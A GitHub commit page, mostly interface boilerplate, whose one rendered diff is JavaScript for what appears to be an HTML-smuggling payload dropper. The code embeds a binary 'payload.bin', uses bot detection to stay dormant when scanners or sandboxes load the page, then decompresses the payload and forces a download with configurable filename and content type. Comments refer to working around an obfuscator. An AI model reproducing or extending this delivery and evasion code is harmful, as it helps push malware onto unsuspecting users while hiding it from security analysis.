-
Notifications
You must be signed in to change notification settings - Fork 19
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
64f27e9
commit 197e252
Showing
10 changed files
with
595 additions
and
190 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,10 +1,29 @@ | ||
import { load } from "@fingerprintjs/botd"; | ||
import { decompressSync, strToU8 } from "fflate"; | ||
|
||
import payload from "./assets/payload.bin"; | ||
import { download as down } from "./utils"; | ||
|
||
export function dontRemoveFunctionName() { | ||
export async function dontChangeFunctionName() { | ||
// antibot | ||
if (CONFIG_ANTIBOT) { | ||
let isBot = false; | ||
await load({ | ||
monitoring: false, | ||
}) | ||
.then((botd) => botd.detect()) | ||
.then((result) => { | ||
// dirty hack to bypass obfuscator renameProperties | ||
isBot = Object.values(result).some((val) => val === true); | ||
}) | ||
.catch(() => {}); | ||
if (isBot) { | ||
return; | ||
} | ||
} | ||
|
||
// data decompressing and downloading | ||
let data = strToU8(payload, true); | ||
data = COMPRESS ? decompressSync(data) : data; | ||
down(data, "dont_remove_filename_var", "dont_remove_content_type_var"); | ||
data = CONFIG_COMPRESS ? decompressSync(data) : data; | ||
down(data, "dont_change_filename_var", "dont_change_content_type_var"); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.